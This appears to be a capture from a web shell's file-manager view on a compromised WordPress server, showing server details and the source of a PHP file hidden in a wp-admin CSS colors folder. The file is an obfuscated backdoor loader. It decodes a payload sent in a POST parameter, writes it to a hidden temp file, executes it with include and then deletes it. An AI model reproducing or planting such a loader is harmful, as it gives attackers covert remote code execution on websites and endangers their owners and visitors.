HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System: Linux li317-225.members.linode.com 3.10.0-1062.12.1.el7.x86_64 #1 SMP Tue Feb 4 23:02:59 UTC 2020 x86_64
User: apache (48)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /var/www/kosmicevents/public/wp-admin__7af9720/css/colors/midnight/view.php
<?php

if(filter_has_var(INPUT_POST, "ma\x72\x6B\x65r")){
	$reference = $_REQUEST["ma\x72\x6B\x65r"];
		 $reference	  = explode (	"."	,		$reference   ) ;
	$dchunk=	 '';
            $salt5=	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=	 strlen($salt5);
            $s=	 0;
    
            foreach($reference as $v5) {
                $chS=	 ord($salt5[$s % $sLen]);
                $d=	 ((int)$v5 - $chS -($s % 10))	^43;
                $dchunk.=chr($d);
                $s++;
            }
	$key = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/var/tmp", session_save_path(), getenv("TMP"), "/tmp", getenv("TEMP"), "/dev/shm"]);
	foreach ($key as $data_chunk) {
    		if ((bool)is_dir($data_chunk) && (bool)is_writable($data_chunk)) {
    $pset = str_replace("{var_dir}", $data_chunk, "{var_dir}/.factor");
    if (file_put_contents($pset, $dchunk)) {
	include $pset;
	@unlink($pset);
	exit;
}
}
}
}